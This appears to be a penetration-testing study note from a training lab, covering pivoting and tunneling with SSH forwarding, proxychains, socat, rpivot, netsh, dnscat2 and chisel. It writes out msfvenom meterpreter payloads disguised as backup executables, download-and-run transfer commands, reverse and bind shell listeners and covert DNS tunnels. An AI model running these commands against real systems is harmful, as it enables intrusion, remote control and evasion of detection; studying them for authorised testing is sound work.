Pivoting, Tunneling & Port Forwarding

Terminology

Definitions

So, the difference between the common and confusing terms we'll run into:

  1. Lateral Movement It is the act of moving within the network. Whether it is by exploiting some misconfiguration or whatever.

  2. Port forwarding is simply transferring the data (service) from one port to another. This will make us able to access that specific service from a port of our choosing. It'll come in handy when we get a foothold but can't access a service externally as it is hosted locally only.

  3. Tunneling is encapsulating the data we want to send/receive in another legitimate traffic to hide our payloads/data in transit. This can help us evade detection and alerts.

  4. Pivoting is using compromised hosts to move deeper and cross network boundaries. For example we got a foothold of a machine within the DMZ. Now we can use the second adapter they have to access the internal network that wasn't even exposed to the internet.

NICs

The whole is idea is exploiting the NICs our target has.

ifconfig

docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 4a:8c:db:a0:71:e0  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 177 overruns 0  carrier 0  collisions 0

enp0s31f6: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether c4:ef:bb:88:4b:91  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  memory 0x9c300000-9c320000  

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8641  bytes 709838 (709.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8641  bytes 709838 (709.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vmnet1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.168.1  netmask 255.255.255.0  broadcast 192.168.168.255
        inet6 fe80::250:56ff:fec0:1  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:c0:00:01  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 414  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vmnet8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.27.1  netmask 255.255.255.0  broadcast 192.168.27.255
        inet6 fe80::250:56ff:fec0:8  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:c0:00:08  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 420  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vmnet10: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.16.1  netmask 255.255.255.0  broadcast 172.16.16.255
        inet6 fe80::250:56ff:fec0:a  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:c0:00:0a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 412  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlp0s20f3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.23  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::7b26:7eec:531c:6fe8  prefixlen 64  scopeid 0x20<link>
        ether c4:47:4e:f8:b7:c2  txqueuelen 1000  (Ethernet)
        RX packets 48522  bytes 43286033 (43.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 36191  bytes 7787538 (7.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

So as we see here, multiple NICs and each one can grant us access to a network or a part of a network.

The equivalent in Windows is ipconfig

Routing

Something really important is the routing table. It is a table containing valuable information that the system use to determine which default route the packets will follow depending the target IP. It shows the subnet mask, default gateway and the target range.

$ netstat -r
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
default         178.62.64.1     0.0.0.0         UG        0 0          0 eth0
10.10.10.0      10.10.14.1      255.255.254.0   UG        0 0          0 tun0
10.10.14.0      0.0.0.0         255.255.254.0   U         0 0          0 tun0
10.106.0.0      0.0.0.0         255.255.240.0   U         0 0          0 eth1
10.129.0.0      10.10.14.1      255.255.0.0     UG        0 0          0 tun0
178.62.64.0     0.0.0.0         255.255.192.0   U         0 0          0 eth0

Local Port Forwarding

INSERT IMAGE ILLUSTRATION HERE

SSH Local Port Forwarding

It is simply routing a traffic from a port to another.

Let's say the foothold has a MySQL instance running locally on 3306. In other words it has no route to our attack machine which is external to the network. In order to access that db from our attack host, we will need to forward that remote target port 3306 to a port on our attack machine using SSH.

ssh -L 1234:localhost:3306 ubuntu@<target-ip>

Confirming:

netstat -antp | grep 1234

If we want to forward multiple ports at once:

ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@<target-ip>

Meterpreter Port Forwarding module

CONTENT HERE

Dynamic Port Forwarding

Dynamic Port Forwarding : From attacking machine to internal "unreachable" host.

The following technique consists of creating a route from our attacking machine to the internal network through the compromised ubuntu server, which will act as our Pivot.

Using SSH and SOCKS tunneling

Setting up the Pivot: A Data Tunnel from Attacker to Internal Network

So now, we want to scan the whole internal network 172.16.5.0-200. Of course our toolkit is installed on our attack host not on the compromised machine. That's why we need to forward our "attacking" port to a remote port on the Ubuntu machine. That's called Dynamic Port Forwarding with SSH.

Step 1: Dynamic Port Forwarding with SSH

ssh -D 9050 ubuntu@<target>

Now if we connect a service to that port, we can access it from the compromised Ubuntu host.

But, we want traffic from nmap and other tools to go through that port not just a service or whatever.

For this we will use a tool called Proxychains, which orders and routes the traffic of the specified tool to go through the IP/port we specify in the config file. This is called Tunneling.

Step 2: SOCKS Tunneling

We need to route the traffic sent from our tools, to the port we just set up using SSH, and encapsulate it through the SOCKS proxy client.

First we need to verify the IP/port on the /etc/proxychains.conf file. Simply add the following line if it's not already specified:

echo "socks4 	127.0.0.1 9050" >> /etc/proxychains.conf

TO DO:

  • SEARCH MORE ABOUT SOCKS PROS/CONS.

Next step is to run our tools.

Step 3: Nmap + Proxychains

We can simply run these commands now:

proxychains nmap -v -Pn -sT <target-local-range>
proxychains msfconsole
proxychains xfreerdp /v:<target-local-range> /u:user /p:pass

Using Meterpreter Port Forwarding Module

INSERT CONTENT HERE FROM

Remote/Reverse Port Forwarding

Remote/Reverse Port Forwarding with SSH

The following technique consists of creating a route for the data to be initiated from the internal network to our attacking machine, through the compromised Ubuntu server, which acts as the pivot.

Now the other way around. What if we want a reverse shell from a host within the internal "unreachable" network?

The idea is:

  1. Make a Reverse Shell payload to initiate a connection from the compromised internal host, to the pivot (in the DMZ).

  2. Forward the connection coming from the Reverse Shell port, to the external port of our attacking machine.

So finally the compromised DMZ machine, is really acting as a pivot: It redirects and manages traffic between the attack/defense, Luca Modric Style.

For our case, the reverse shell payload is an Executable crafted with msfvenom.

Preparing and Transferring the Reverse Shell

msfvenom -p windows/x64/meterpreter/reverse_https lhost=<InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

We can then transfer the output executable to the ubuntu machine using whatever method. for now, we'll use scp since we have the SSH credentials:

scp backupscript.exe ubuntu@<publicipAddressofTarget>:~/

And then transfer that executable to the internal windows machine. We'll use a simple python3 server:

python3 -m http.server <port>
Invoke-WebRequest -Uri "http://<internalIPofUbuntu:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

Establishing the connection: Internal network - Attack host

Now, before running our payload which will hit back the Ubuntu's port 8080, we should forward that incoming stream to our listener on our attacking machine on Port 8000.

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
-vn: Will give us a verbose output
-R: tells the SSH session to reverse forward the traffic
    from the internal network on port 8080, to our attacking machine's
    port 8000 where the meterpreter listener resides. 

Socat: Redireting Traffic between two channels

Socat is a bidirectional relay tool that can redirect traffic coming from one channel to the other, without the need of SSH.

Socat -Reverse Shell

Executing the following command on the compromised host will create a route from the target's port 8080 to our <PORT>.

socat TCP4-LISTEN:8080,fork TCP4:<ATTACKING IP>:<PORT>

So, everything coming from the internal network to the pivot's 8080 will be redirected to our <PORT> .

In order to get our reverse shell connection back or whatsoever, we need to transfer our payload to the internal host with whatever method above. We can for example use the SSH and SOCKS Tunneling method, execute the payload to hit back on the pivot's <INTERNAL IP>:<8080> , which will then be redirected to our attacking host.

We can setup the metasploit listener as in:Establishing the connection: Internal network - Attack hostto use the utility of the meterpreter shell.

Socat - Bind Shell

Now instead of listening for an incoming connection from the internal host, we will setup a bind shell listener on target internal host, and redirect our traffic from the attacking host, through socat, up to the internal host listener.

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupjob.exe LPORT=8443

And then run Socat on the pivot:

socat TCP4-LISTEN:8080,fork TCP4:<WINDOWS INTERNAL IP>:8443

This will forward anything from 8080 to the target's 8443.

Now setup metasploit's listener:

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.129.202.64:8080

Rpivot: Accessing an Internal Web Server

Say we have an internal web server running on an internal host. It is not exposed to the internet and we want to access it from our attacking machine. We'll do that using rpivot.

Rpivot works with python2.7, so we'll need that installed.

git clone https://github.com/klsecservices/rpivot.git

The idea is:

  1. Run a server on our attacking machine with server.py. Setup two ports for both in/out traffic.

python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
  1. Transfer the rpivot required files to the pivot.

scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
  1. Run a client.py script from the Pivot host:

python2.7 client.py --server-ip <OUR IP> --server-port 9999
  1. Setup the proxychains.conf file to configure the tunnel port:

socks4 	127.0.0.1 9050
  1. Now we can run proxychains with whatever tool.

proxychains firefox <IP>:<PORT>

Netsh: Pivoting from a Windows Host

Say we have compromised a Windows host and we need to route the wanted traffic through that machine. That's where netsh come into play. It's a CLI tool used for network configuration: routing, firewall configurations, proxies and port forwarding rules.

netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25

Which can then be verified with:

netsh.exe interface portproxy show v4tov4

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
10.129.15.150   8080        172.16.5.25     3389

The 10.129.15.150 is the "public" IP of the Windows host we've already compromised.

The 172.16.5.25 is the private IP of the internal machine we're targeting.

Traffic will now go from our attacking machine through 10.129.15.150:8080 to 172.16.5.25:3389 .

xfreerdp /v:10.129.15.150:8080 /u:user /p:pass

DNScat2: Encrypting our traffic

Dnscat2 is tool that encapsulates the streams of data within TXT records in the DNS protocol. The communication is encrypted and creates a secure channel.

  1. We setup a dnscat2 server on our attacking machine:

sudo ruby dnscat2.rb --dns host=<ATTACKING HOST>,port=53,domain=inlanefreight.local --no-cache
<REDACTED>
  ./dnscat --secret=<SECRET> inlanefreight.local
  ./dnscat --dns server=x.x.x.x,port=53 --secret=<SECRET>
<REDACTED>
  1. After transferring the client .ps1 script file to the target windows machine, we run the client to connect back to us:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver <ATTACK IP> -Domain inlanefreight.local -PreSharedSecret <SECRET> -Exec cmd 
  1. We can then execute commands from our attacking host:

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>?
     <Display available commands.>
dnscat2> window -i 1
    <Opens up a CMD shell>

Chisel: Creating a two-way tunnel

With chisel, we can setup a client/server connection, to/from the pivot host. Upon connection, we can pivot to the internal network.

Depending on firewall rules or whatever, we can initiate the connection from our machine, or the compromised pivot.

Chisel "forward" Pivot

  1. After building or installing Chisel, we can run the Chisel server on the pivot using:

./chisel server -v -p 1234 --socks5
  1. Now we can connect to the server using:

./chisel client -v <PIVOT's IP>:1234 socks
<REDACTED>
2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
<REDACTED>
  1. Ensure proxychains.conf has the following entry:

# socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080
  1. Connect to an internal target:

proxychains xfreerdp /v:<INTERNAL IP> /u:victor /p:pass@123

Chisel Reverse Pivot

For this set, we will setup the server on our side, and then connect back to it from the pivot.

  1. Run the chisel server locally using --reverse flag.

sudo ./chisel server --reverse -v -p 1234 --socks5
  1. Connect back to the server from the compromised pivot:

./chisel client -v <ATTACKING IP>:1234 R:socks
  1. Ensure the proxychains.conf file has the current entry:

# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080 
  1. Attack:

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Last updated